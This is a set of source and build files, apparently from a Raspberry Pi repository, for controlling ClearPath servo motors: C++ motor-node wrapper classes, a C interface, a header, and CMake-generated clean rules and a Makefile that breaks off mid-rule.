iNode < _nodeCount; iNode++) { INode &theNode = *_nodes[iNode]; while(theNode.Motion.Homing.IsHoming()) {} printf("Homing done"); } } CP_Motors::~CP_Motors() { delete [] _nodes; } void CP_Motors::startMovePosNode(int indexNode, int numSteps) { _nodes[indexNode]->Motion.MovePosnStart(numSteps, true); } void CP_Motors::startMoveVelNode(int indexNode, int velocity) { _nodes[indexNode]->Motion.MoveVelStart(velocity); } bool CP_Motors::isMoveDoneNode(int indexNode) { return _nodes[indexNode]->Motion.MoveIsDone(); } int CP_Motors::readPosNode(int indexNode) { return _nodes[indexNode]->Motion.PosnMeasured; } void CP_Motors::setAccelNode(int indexNode, int accel) { printf("Modified the acceleration of node %d to %d RPM/sec\n", indexNode, accel); _nodes[indexNode]->Motion.AccLimit = accel; } void CP_Motors::setVelNode(int indexNode, int vel) { printf("Modified the velocity of node %d to %d RPM\n", indexNode, vel); _nodes[indexNode]->Motion.VelLimit = vel; } void CP_Motors::stopNodeHard(int indexNode) { _nodes[indexNode]->Motion.NodeStop(STOP_TYPE_ABRUPT); } void CP_Motors::stopNodeDecel(int indexNode) { _nodes[indexNode]->Motion.NodeStop(STOP_TYPE_RAMP_AT_DECEL); } void CP_Motors::backAndForthSequence(int indexNode, int travelLength) { _nodes[1]->Motion.MoveVelStart(-400); _nodes[3]->Motion.MoveVelStart(-400); _nodes[5]->Motion.MoveVelStart(-400); int travel = travelLength; startMovePosNode(0, travel); startMovePosNode(2, -travel); startMovePosNode(4, travel); while(true) { if(isMoveDoneNode(0)) { travel = -travel; startMovePosNode(0, travel); startMovePosNode(2, -travel); startMovePosNode(4, travel); } } } <file_sep>/src/LibMotors/src/motors.cpp //Required include files #include "clearPathMotors.h" #include "motors.h" typedef void CMotors; CMotors* motors; extern "C" { void Initialize() { motors = new CP_Motors(); ((CP_Motors*)motors)->initialize(); } void HomeNodes() { ((CP_Motors*)motors)->homeNodes(); } int NodeCount() { return ((CP_Motors*)motors)->nodeCount(); } void StartMovePosNode(int indexNode, int numSteps, int isTargetAbsolute) { ((CP_Motors*)motors)->startMovePosNode(indexNode, numSteps, isTargetAbsolute); } void StartMoveVelNode(int indexNode, int velocity) { ((CP_Motors*)motors)->startMoveVelNode(indexNode, velocity); } int IsMoveDoneNode(int indexNode) { if(((CP_Motors*)motors)->isMoveDoneNode(indexNode)) { return 1; } return 0; } int ReadPosNode(int indexNode) { return ((CP_Motors*)motors)->readPosNode(indexNode); } int ReadPosCommandedNode(int indexNode) { return ((CP_Motors*)motors)->readPosCommandedNode(indexNode); } int ReadVelNode(int indexNode) { return ((CP_Motors*)motors)->readVelNode(indexNode); } void SetAccelNode(int indexNode, int accel) { ((CP_Motors*)motors)->setAccelNode(indexNode, accel); } void SetVelNode(int indexNode, int vel) { ((CP_Motors*)motors)->setVelNode(indexNode, vel); } void StopNodeHard(int indexNode) { ((CP_Motors*)motors)->stopNodeHard(indexNode); } void StopNodeDecel(int indexNode) { ((CP_Motors*)motors)->stopNodeDecel(indexNode); } void StopNodeClear(int indexNode) { ((CP_Motors*)motors)->stopNodeClear(indexNode); } } <file_sep>/CMakeFiles/LibLinuxOS.dir/cmake_clean.cmake file(REMOVE_RECURSE "CMakeFiles/LibLinuxOS.dir/src/LibLinuxOS/src/tekEventsLinux.cpp.o" "CMakeFiles/LibLinuxOS.dir/src/LibLinuxOS/src/tekThreadsLinux.cpp.o" "CMakeFiles/LibLinuxOS.dir/src/LibLinuxOS/src/version.cpp.o" "libLibLinuxOS.a" "libLibLinuxOS.pdb" ) # Per-language clean rules from dependency scanning. foreach(lang CXX) include(CMakeFiles/LibLinuxOS.dir/cmake_clean_${lang}.cmake OPTIONAL) endforeach() <file_sep>/include/LibMotors/inc/clearPathMotors.h //Required include files #include <stdio.h> #include <string> #include <iostream> #include <stdlib.h> #include "pubSysCls.h" #define TIMEOUT 10000 using namespace sFnd; class CP_Motors { public: void initialize(); int nodeCount(); void homeNodes(); void startMovePosNode(int indexNode, int numSteps, int targetIsAbsolute); void startMoveVelNode(int indexNode, int vel); bool isMoveDoneNode(int indexNode); int readPosNode(int indexNode); int readPosCommandedNode(int indexNode); int readVelNode(int indexNode); void setAccelNode(int indexNode, int accel); void setVelNode(int indexNode, int vel); void stopNodeHard(int indexNode); void stopNodeDecel(int indexNode); void stopNodeClear(int indexNode); private: SysManager _manager; IPort* _port; INode** _nodes; int _nodeCount; void openPort(); void getNodes(); void configNodes(); }; <file_sep>/Makefile # CMAKE generated file: DO NOT EDIT! # Generated by "Unix Makefiles" Generator, CMake Version 3.16 # Default target executed when no arguments are given to make. default_target: all .PHONY : default_target # Allow only one "make -f Makefile2" at a time, but pass parallelism. .NOTPARALLEL: #============================================================================= # Special targets provided by cmake. # Disable implicit rules so canonical targets will work. .SUFFIXES: # Remove some rules from gmake that .SUFFIXES does not remove. SUFFIXES = .SUFFIXES: .hpux_make_needs_suffix_list # Suppress display of executed commands. $(VERBOSE).SILENT: # A target that is always out of date. cmake_force: .PHONY : cmake_force #============================================================================= # Set environment variables for the build. # The shell in which to execute make rules. SHELL = /bin/sh # The CMake executable. CMAKE_COMMAND = /usr/bin/cmake # The command to remove a file. RM = /usr/bin/cmake -E remove -f # Escaping for special characters. EQUALS = = # The top-level source directory on which CMake was run. CMAKE_SOURCE_DIR = /home/pi/ClearPathMotor # The top-level build directory on which CMake was run. CMAKE_BINARY_DIR = /home/pi/ClearPathMotor #============================================================================= # Targets provided globally by CMake. # Special rule for the target rebuild_cache rebuild_cache: @$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan "Running CMake to regenerate build system..." /usr/bin/cmake -S$(CMAKE_SOURCE_DIR) -B$(CMAKE_BINARY_DIR) .PHONY : rebuild_cache # Special rule for the target rebuild_cache rebuild_cache/fast: rebuild_cache .PHONY : rebuild_cache/fast # Special rule for the target edit_cache edit_cache: @$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan "No interactive CMake dialog available..." /usr/bin/cmake -E echo No\ interactive\ CMake\ dialog\ available. .PHONY : edit_cache # Special rule for the target edit_cache edit_cache/fast: edit_cache .PHONY : edit_cache/fast # The main all target all: cmake_check_build_system $(CMAKE_COMMAND) -E cmake_progress_start /home/pi/ClearPathMotor/CMakeFiles /home/pi/ClearPathMotor/CMakeFiles/progress.marks $(MAKE) -f CMakeFiles/Makefile2 all $(CMAKE_COMMAND) -E cmake_progress_start /home/pi/ClearPathMotor/CMakeFiles 0 .PHONY : all # The main clean target clean: $(MAKE) -f CMakeFiles/Makefile2 clean .PHONY : clean # The main clean target clean/fast: clean .PHONY : clean/fast # Prepare targets for installation. preinstall: all $(MAKE) -f CMakeFiles/Makefile2 preinstall .PHONY : preinstall # Prepare targets for installation. preinstall/fast: $(MAKE) -f CMakeFiles/Makefile2 preinstall .PHONY : preinstall/fast # clear depends depend: $(CMAKE_COMMAND) -S$(CMAKE_SOURCE_DIR) -B$(CMAKE_BINARY_DIR) --check-build-system CMakeFiles/Makefile.cmake 1 .PHONY : depend #============================================================================= # Target rules for targets named LibMotors # Build rule for target. LibMotors: cmake_check_build_system $(MAKE) -f CMakeFiles/Makefile2 LibMotors .PHONY : LibMotors # fast build rule for target. LibMotors/fast: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/build .PHONY : LibMotors/fast #============================================================================= # Target rules for targets named Homing_Test # Build rule for target. Homing_Test: cmake_check_build_system $(MAKE) -f CMakeFiles/Makefile2 Homing_Test .PHONY : Homing_Test # fast build rule for target. Homing_Test/fast: $(MAKE) -f CMakeFiles/Homing_Test.dir/build.make CMakeFiles/Homing_Test.dir/build .PHONY : Homing_Test/fast #============================================================================= # Target rules for targets named Motor_Test # Build rule for target. Motor_Test: cmake_check_build_system $(MAKE) -f CMakeFiles/Makefile2 Motor_Test .PHONY : Motor_Test # fast build rule for target. Motor_Test/fast: $(MAKE) -f CMakeFiles/Motor_Test.dir/build.make CMakeFiles/Motor_Test.dir/build .PHONY : Motor_Test/fast #============================================================================= # Target rules for targets named LibINI # Build rule for target. LibINI: cmake_check_build_system $(MAKE) -f CMakeFiles/Makefile2 LibINI .PHONY : LibINI # fast build rule for target. LibINI/fast: $(MAKE) -f CMakeFiles/LibINI.dir/build.make CMakeFiles/LibINI.dir/build .PHONY : LibINI/fast #============================================================================= # Target rules for targets named LibLinuxOS # Build rule for target. LibLinuxOS: cmake_check_build_system $(MAKE) -f CMakeFiles/Makefile2 LibLinuxOS .PHONY : LibLinuxOS # fast build rule for target. LibLinuxOS/fast: $(MAKE) -f CMakeFiles/LibLinuxOS.dir/build.make CMakeFiles/LibLinuxOS.dir/build .PHONY : LibLinuxOS/fast #============================================================================= # Target rules for targets named LibXML # Build rule for target. LibXML: cmake_check_build_system $(MAKE) -f CMakeFiles/Makefile2 LibXML .PHONY : LibXML # fast build rule for target. LibXML/fast: $(MAKE) -f CMakeFiles/LibXML.dir/build.make CMakeFiles/LibXML.dir/build .PHONY : LibXML/fast #============================================================================= # Target rules for targets named sFoundation # Build rule for target. sFoundation: cmake_check_build_system $(MAKE) -f CMakeFiles/Makefile2 sFoundation .PHONY : sFoundation # fast build rule for target. sFoundation/fast: $(MAKE) -f CMakeFiles/sFoundation.dir/build.make CMakeFiles/sFoundation.dir/build .PHONY : sFoundation/fast src/LibINI/src/dictionary.o: src/LibINI/src/dictionary.cpp.o .PHONY : src/LibINI/src/dictionary.o # target to build an object file src/LibINI/src/dictionary.cpp.o: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/LibINI/src/dictionary.cpp.o $(MAKE) -f CMakeFiles/LibINI.dir/build.make CMakeFiles/LibINI.dir/src/LibINI/src/dictionary.cpp.o .PHONY : src/LibINI/src/dictionary.cpp.o src/LibINI/src/dictionary.i: src/LibINI/src/dictionary.cpp.i .PHONY : src/LibINI/src/dictionary.i # target to preprocess a source file src/LibINI/src/dictionary.cpp.i: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/LibINI/src/dictionary.cpp.i $(MAKE) -f CMakeFiles/LibINI.dir/build.make CMakeFiles/LibINI.dir/src/LibINI/src/dictionary.cpp.i .PHONY : src/LibINI/src/dictionary.cpp.i src/LibINI/src/dictionary.s: src/LibINI/src/dictionary.cpp.s .PHONY : src/LibINI/src/dictionary.s # target to generate assembly for a file src/LibINI/src/dictionary.cpp.s: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/LibINI/src/dictionary.cpp.s $(MAKE) -f CMakeFiles/LibINI.dir/build.make CMakeFiles/LibINI.dir/src/LibINI/src/dictionary.cpp.s .PHONY : src/LibINI/src/dictionary.cpp.s src/LibINI/src/iniparser.o: src/LibINI/src/iniparser.cpp.o .PHONY : src/LibINI/src/iniparser.o # target to build an object file src/LibINI/src/iniparser.cpp.o: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/LibINI/src/iniparser.cpp.o $(MAKE) -f CMakeFiles/LibINI.dir/build.make CMakeFiles/LibINI.dir/src/LibINI/src/iniparser.cpp.o .PHONY : src/LibINI/src/iniparser.cpp.o src/LibINI/src/iniparser.i: src/LibINI/src/iniparser.cpp.i .PHONY : src/LibINI/src/iniparser.i # target to preprocess a source file src/LibINI/src/iniparser.cpp.i: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/LibINI/src/iniparser.cpp.i $(MAKE) -f CMakeFiles/LibINI.dir/build.make CMakeFiles/LibINI.dir/src/LibINI/src/iniparser.cpp.i .PHONY : src/LibINI/src/iniparser.cpp.i src/LibINI/src/iniparser.s: src/LibINI/src/iniparser.cpp.s .PHONY : src/LibINI/src/iniparser.s # target to generate assembly for a file src/LibINI/src/iniparser.cpp.s: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/LibINI/src/iniparser.cpp.s $(MAKE) -f CMakeFiles/LibINI.dir/build.make CMakeFiles/LibINI.dir/src/LibINI/src/iniparser.cpp.s .PHONY : src/LibINI/src/iniparser.cpp.s src/LibLinuxOS/src/tekEventsLinux.o: src/LibLinuxOS/src/tekEventsLinux.cpp.o .PHONY : src/LibLinuxOS/src/tekEventsLinux.o # target to build an object file src/LibLinuxOS/src/tekEventsLinux.cpp.o: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/LibLinuxOS/src/tekEventsLinux.cpp.o $(MAKE) -f CMakeFiles/LibLinuxOS.dir/build.make CMakeFiles/LibLinuxOS.dir/src/LibLinuxOS/src/tekEventsLinux.cpp.o .PHONY : src/LibLinuxOS/src/tekEventsLinux.cpp.o src/LibLinuxOS/src/tekEventsLinux.i: src/LibLinuxOS/src/tekEventsLinux.cpp.i .PHONY : src/LibLinuxOS/src/tekEventsLinux.i # target to preprocess a source file src/LibLinuxOS/src/tekEventsLinux.cpp.i: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/LibLinuxOS/src/tekEventsLinux.cpp.i $(MAKE) -f CMakeFiles/LibLinuxOS.dir/build.make CMakeFiles/LibLinuxOS.dir/src/LibLinuxOS/src/tekEventsLinux.cpp.i .PHONY : src/LibLinuxOS/src/tekEventsLinux.cpp.i src/LibLinuxOS/src/tekEventsLinux.s: src/LibLinuxOS/src/tekEventsLinux.cpp.s .PHONY : src/LibLinuxOS/src/tekEventsLinux.s # target to generate assembly for a file src/LibLinuxOS/src/tekEventsLinux.cpp.s: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/LibLinuxOS/src/tekEventsLinux.cpp.s $(MAKE) -f CMakeFiles/LibLinuxOS.dir/build.make CMakeFiles/LibLinuxOS.dir/src/LibLinuxOS/src/tekEventsLinux.cpp.s .PHONY : src/LibLinuxOS/src/tekEventsLinux.cpp.s src/LibLinuxOS/src/tekThreadsLinux.o: src/LibLinuxOS/src/tekThreadsLinux.cpp.o .PHONY : src/LibLinuxOS/src/tekThreadsLinux.o # target to build an object file src/LibLinuxOS/src/tekThreadsLinux.cpp.o: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/LibLinuxOS/src/tekThreadsLinux.cpp.o $(MAKE) -f CMakeFiles/LibLinuxOS.dir/build.make CMakeFiles/LibLinuxOS.dir/src/LibLinuxOS/src/tekThreadsLinux.cpp.o .PHONY : src/LibLinuxOS/src/tekThreadsLinux.cpp.o src/LibLinuxOS/src/tekThreadsLinux.i: src/LibLinuxOS/src/tekThreadsLinux.cpp.i .PHONY : src/LibLinuxOS/src/tekThreadsLinux.i # target to preprocess a source file src/LibLinuxOS/src/tekThreadsLinux.cpp.i: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/LibLinuxOS/src/tekThreadsLinux.cpp.i $(MAKE) -f CMakeFiles/LibLinuxOS.dir/build.make CMakeFiles/LibLinuxOS.dir/src/LibLinuxOS/src/tekThreadsLinux.cpp.i .PHONY : src/LibLinuxOS/src/tekThreadsLinux.cpp.i src/LibLinuxOS/src/tekThreadsLinux.s: src/LibLinuxOS/src/tekThreadsLinux.cpp.s .PHONY : src/LibLinuxOS/src/tekThreadsLinux.s # target to generate assembly for a file src/LibLinuxOS/src/tekThreadsLinux.cpp.s: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/LibLinuxOS/src/tekThreadsLinux.cpp.s $(MAKE) -f CMakeFiles/LibLinuxOS.dir/build.make CMakeFiles/LibLinuxOS.dir/src/LibLinuxOS/src/tekThreadsLinux.cpp.s .PHONY : src/LibLinuxOS/src/tekThreadsLinux.cpp.s src/LibLinuxOS/src/version.o: src/LibLinuxOS/src/version.cpp.o .PHONY : src/LibLinuxOS/src/version.o # target to build an object file src/LibLinuxOS/src/version.cpp.o: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/LibLinuxOS/src/version.cpp.o $(MAKE) -f CMakeFiles/LibLinuxOS.dir/build.make CMakeFiles/LibLinuxOS.dir/src/LibLinuxOS/src/version.cpp.o .PHONY : src/LibLinuxOS/src/version.cpp.o src/LibLinuxOS/src/version.i: src/LibLinuxOS/src/version.cpp.i .PHONY : src/LibLinuxOS/src/version.i # target to preprocess a source file src/LibLinuxOS/src/version.cpp.i: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/LibLinuxOS/src/version.cpp.i $(MAKE) -f CMakeFiles/LibLinuxOS.dir/build.make CMakeFiles/LibLinuxOS.dir/src/LibLinuxOS/src/version.cpp.i .PHONY : src/LibLinuxOS/src/version.cpp.i src/LibLinuxOS/src/version.s: src/LibLinuxOS/src/version.cpp.s .PHONY : src/LibLinuxOS/src/version.s # target to generate assembly for a file src/LibLinuxOS/src/version.cpp.s: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/LibLinuxOS/src/version.cpp.s $(MAKE) -f CMakeFiles/LibLinuxOS.dir/build.make CMakeFiles/LibLinuxOS.dir/src/LibLinuxOS/src/version.cpp.s .PHONY : src/LibLinuxOS/src/version.cpp.s src/LibMotors/src/clearPathMotors.o: src/LibMotors/src/clearPathMotors.cpp.o .PHONY : src/LibMotors/src/clearPathMotors.o # target to build an object file src/LibMotors/src/clearPathMotors.cpp.o: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/LibMotors/src/clearPathMotors.cpp.o .PHONY : src/LibMotors/src/clearPathMotors.cpp.o src/LibMotors/src/clearPathMotors.i: src/LibMotors/src/clearPathMotors.cpp.i .PHONY : src/LibMotors/src/clearPathMotors.i # target to preprocess a source file src/LibMotors/src/clearPathMotors.cpp.i: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/LibMotors/src/clearPathMotors.cpp.i .PHONY : src/LibMotors/src/clearPathMotors.cpp.i src/LibMotors/src/clearPathMotors.s: src/LibMotors/src/clearPathMotors.cpp.s .PHONY : src/LibMotors/src/clearPathMotors.s # target to generate assembly for a file src/LibMotors/src/clearPathMotors.cpp.s: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/LibMotors/src/clearPathMotors.cpp.s .PHONY : src/LibMotors/src/clearPathMotors.cpp.s src/LibMotors/src/motors.o: src/LibMotors/src/motors.cpp.o .PHONY : src/LibMotors/src/motors.o # target to build an object file src/LibMotors/src/motors.cpp.o: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/LibMotors/src/motors.cpp.o .PHONY : src/LibMotors/src/motors.cpp.o src/LibMotors/src/motors.i: src/LibMotors/src/motors.cpp.i .PHONY : src/LibMotors/src/motors.i # target to preprocess a source file src/LibMotors/src/motors.cpp.i: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/LibMotors/src/motors.cpp.i .PHONY : src/LibMotors/src/motors.cpp.i src/LibMotors/src/motors.s: src/LibMotors/src/motors.cpp.s .PHONY : src/LibMotors/src/motors.s # target to generate assembly for a file src/LibMotors/src/motors.cpp.s: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/LibMotors/src/motors.cpp.s .PHONY : src/LibMotors/src/motors.cpp.s src/LibXML/src/ErrCodeStr.o: src/LibXML/src/ErrCodeStr.cpp.o .PHONY : src/LibXML/src/ErrCodeStr.o # target to build an object file src/LibXML/src/ErrCodeStr.cpp.o: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/LibXML/src/ErrCodeStr.cpp.o $(MAKE) -f CMakeFiles/LibXML.dir/build.make CMakeFiles/LibXML.dir/src/LibXML/src/ErrCodeStr.cpp.o .PHONY : src/LibXML/src/ErrCodeStr.cpp.o src/LibXML/src/ErrCodeStr.i: src/LibXML/src/ErrCodeStr.cpp.i .PHONY : src/LibXML/src/ErrCodeStr.i # target to preprocess a source file src/LibXML/src/ErrCodeStr.cpp.i: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/LibXML/src/ErrCodeStr.cpp.i $(MAKE) -f CMakeFiles/LibXML.dir/build.make CMakeFiles/LibXML.dir/src/LibXML/src/ErrCodeStr.cpp.i .PHONY : src/LibXML/src/ErrCodeStr.cpp.i src/LibXML/src/ErrCodeStr.s: src/LibXML/src/ErrCodeStr.cpp.s .PHONY : src/LibXML/src/ErrCodeStr.s # target to generate assembly for a file src/LibXML/src/ErrCodeStr.cpp.s: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/LibXML/src/ErrCodeStr.cpp.s $(MAKE) -f CMakeFiles/LibXML.dir/build.make CMakeFiles/LibXML.dir/src/LibXML/src/ErrCodeStr.cpp.s .PHONY : src/LibXML/src/ErrCodeStr.cpp.s src/LibXML/src/pugixml.o: src/LibXML/src/pugixml.cpp.o .PHONY : src/LibXML/src/pugixml.o # target to build an object file src/LibXML/src/pugixml.cpp.o: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/LibXML/src/pugixml.cpp.o $(MAKE) -f CMakeFiles/LibXML.dir/build.make CMakeFiles/LibXML.dir/src/LibXML/src/pugixml.cpp.o .PHONY : src/LibXML/src/pugixml.cpp.o src/LibXML/src/pugixml.i: src/LibXML/src/pugixml.cpp.i .PHONY : src/LibXML/src/pugixml.i # target to preprocess a source file src/LibXML/src/pugixml.cpp.i: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/LibXML/src/pugixml.cpp.i $(MAKE) -f CMakeFiles/LibXML.dir/build.make CMakeFiles/LibXML.dir/src/LibXML/src/pugixml.cpp.i .PHONY : src/LibXML/src/pugixml.cpp.i src/LibXML/src/pugixml.s: src/LibXML/src/pugixml.cpp.s .PHONY : src/LibXML/src/pugixml.s # target to generate assembly for a file src/LibXML/src/pugixml.cpp.s: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/LibXML/src/pugixml.cpp.s $(MAKE) -f CMakeFiles/LibXML.dir/build.make CMakeFiles/LibXML.dir/src/LibXML/src/pugixml.cpp.s .PHONY : src/LibXML/src/pugixml.cpp.s src/motor_control/homing_test.o: src/motor_control/homing_test.cpp.o .PHONY : src/motor_control/homing_test.o # target to build an object file src/motor_control/homing_test.cpp.o: $(MAKE) -f CMakeFiles/Homing_Test.dir/build.make CMakeFiles/Homing_Test.dir/src/motor_control/homing_test.cpp.o .PHONY : src/motor_control/homing_test.cpp.o src/motor_control/homing_test.i: src/motor_control/homing_test.cpp.i .PHONY : src/motor_control/homing_test.i # target to preprocess a source file src/motor_control/homing_test.cpp.i: $(MAKE) -f CMakeFiles/Homing_Test.dir/build.make CMakeFiles/Homing_Test.dir/src/motor_control/homing_test.cpp.i .PHONY : src/motor_control/homing_test.cpp.i src/motor_control/homing_test.s: src/motor_control/homing_test.cpp.s .PHONY : src/motor_control/homing_test.s # target to generate assembly for a file src/motor_control/homing_test.cpp.s: $(MAKE) -f CMakeFiles/Homing_Test.dir/build.make CMakeFiles/Homing_Test.dir/src/motor_control/homing_test.cpp.s .PHONY : src/motor_control/homing_test.cpp.s src/motor_control/motor_test.o: src/motor_control/motor_test.cpp.o .PHONY : src/motor_control/motor_test.o # target to build an object file src/motor_control/motor_test.cpp.o: $(MAKE) -f CMakeFiles/Motor_Test.dir/build.make CMakeFiles/Motor_Test.dir/src/motor_control/motor_test.cpp.o .PHONY : src/motor_control/motor_test.cpp.o src/motor_control/motor_test.i: src/motor_control/motor_test.cpp.i .PHONY : src/motor_control/motor_test.i # target to preprocess a source file src/motor_control/motor_test.cpp.i: $(MAKE) -f CMakeFiles/Motor_Test.dir/build.make CMakeFiles/Motor_Test.dir/src/motor_control/motor_test.cpp.i .PHONY : src/motor_control/motor_test.cpp.i src/motor_control/motor_test.s: src/motor_control/motor_test.cpp.s .PHONY : src/motor_control/motor_test.s # target to generate assembly for a file src/motor_control/motor_test.cpp.s: $(MAKE) -f CMakeFiles/Motor_Test.dir/build.make CMakeFiles/Motor_Test.dir/src/motor_control/motor_test.cpp.s .PHONY : src/motor_control/motor_test.cpp.s src/sFoundation/src-linux/SerialLinux.o: src/sFoundation/src-linux/SerialLinux.cpp.o .PHONY : src/sFoundation/src-linux/SerialLinux.o # target to build an object file src/sFoundation/src-linux/SerialLinux.cpp.o: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/sFoundation/src-linux/SerialLinux.cpp.o $(MAKE) -f CMakeFiles/sFoundation.dir/build.make CMakeFiles/sFoundation.dir/src/sFoundation/src-linux/SerialLinux.cpp.o .PHONY : src/sFoundation/src-linux/SerialLinux.cpp.o src/sFoundation/src-linux/SerialLinux.i: src/sFoundation/src-linux/SerialLinux.cpp.i .PHONY : src/sFoundation/src-linux/SerialLinux.i # target to preprocess a source file src/sFoundation/src-linux/SerialLinux.cpp.i: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/sFoundation/src-linux/SerialLinux.cpp.i $(MAKE) -f CMakeFiles/sFoundation.dir/build.make CMakeFiles/sFoundation.dir/src/sFoundation/src-linux/SerialLinux.cpp.i .PHONY : src/sFoundation/src-linux/SerialLinux.cpp.i src/sFoundation/src-linux/SerialLinux.s: src/sFoundation/src-linux/SerialLinux.cpp.s .PHONY : src/sFoundation/src-linux/SerialLinux.s # target to generate assembly for a file src/sFoundation/src-linux/SerialLinux.cpp.s: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/sFoundation/src-linux/SerialLinux.cpp.s $(MAKE) -f CMakeFiles/sFoundation.dir/build.make CMakeFiles/sFoundation.dir/src/sFoundation/src-linux/SerialLinux.cpp.s .PHONY : src/sFoundation/src-linux/SerialLinux.cpp.s src/sFoundation/src-linux/lnkAccessLinux.o: src/sFoundation/src-linux/lnkAccessLinux.cpp.o .PHONY : src/sFoundation/src-linux/lnkAccessLinux.o # target to build an object file src/sFoundation/src-linux/lnkAccessLinux.cpp.o: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/sFoundation/src-linux/lnkAccessLinux.cpp.o $(MAKE) -f CMakeFiles/sFoundation.dir/build.make CMakeFiles/sFoundation.dir/src/sFoundation/src-linux/lnkAccessLinux.cpp.o .PHONY : src/sFoundation/src-linux/lnkAccessLinux.cpp.o src/sFoundation/src-linux/lnkAccessLinux.i: src/sFoundation/src-linux/lnkAccessLinux.cpp.i .PHONY : src/sFoundation/src-linux/lnkAccessLinux.i # target to preprocess a source file src/sFoundation/src-linux/lnkAccessLinux.cpp.i: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/sFoundation/src-linux/lnkAccessLinux.cpp.i $(MAKE) -f CMakeFiles/sFoundation.dir/build.make CMakeFiles/sFoundation.dir/src/sFoundation/src-linux/lnkAccessLinux.cpp.i .PHONY : src/sFoundation/src-linux/lnkAccessLinux.cpp.i src/sFoundation/src-linux/lnkAccessLinux.s: src/sFoundation/src-linux/lnkAccessLinux.cpp.s .PHONY : src/sFoundation/src-linux/lnkAccessLinux.s # target to generate assembly for a file src/sFoundation/src-linux/lnkAccessLinux.cpp.s: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/sFoundation/src-linux/lnkAccessLinux.cpp.s $(MAKE) -f CMakeFiles/sFoundation.dir/build.make CMakeFiles/sFoundation.dir/src/sFoundation/src-linux/lnkAccessLinux.cpp.s .PHONY : src/sFoundation/src-linux/lnkAccessLinux.cpp.s src/sFoundation/src/SerialEx.o: src/sFoundation/src/SerialEx.cpp.o .PHONY : src/sFoundation/src/SerialEx.o # target to build an object file src/sFoundation/src/SerialEx.cpp.o: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/sFoundation/src/SerialEx.cpp.o $(MAKE) -f CMakeFiles/sFoundation.dir/build.make CMakeFiles/sFoundation.dir/src/sFoundation/src/SerialEx.cpp.o .PHONY : src/sFoundation/src/SerialEx.cpp.o src/sFoundation/src/SerialEx.i: src/sFoundation/src/SerialEx.cpp.i .PHONY : src/sFoundation/src/SerialEx.i # target to preprocess a source file src/sFoundation/src/SerialEx.cpp.i: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/sFoundation/src/SerialEx.cpp.i $(MAKE) -f CMakeFiles/sFoundation.dir/build.make CMakeFiles/sFoundation.dir/src/sFoundation/src/SerialEx.cpp.i .PHONY : src/sFoundation/src/SerialEx.cpp.i src/sFoundation/src/SerialEx.s: src/sFoundation/src/SerialEx.cpp.s .PHONY : src/sFoundation/src/SerialEx.s # target to generate assembly for a file src/sFoundation/src/SerialEx.cpp.s: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make CMakeFiles/LibMotors.dir/src/sFoundation/src/SerialEx.cpp.s $(MAKE) -f CMakeFiles/sFoundation.dir/build.make CMakeFiles/sFoundation.dir/src/sFoundation/src/SerialEx.cpp.s .PHONY : src/sFoundation/src/SerialEx.cpp.s src/sFoundation/src/converterLib.o: src/sFoundation/src/converterLib.cpp.o .PHONY : src/sFoundation/src/converterLib.o # target to build an object file src/sFoundation/src/converterLib.cpp.o: $(MAKE) -f CMakeFiles/LibMotors.dir/build.make 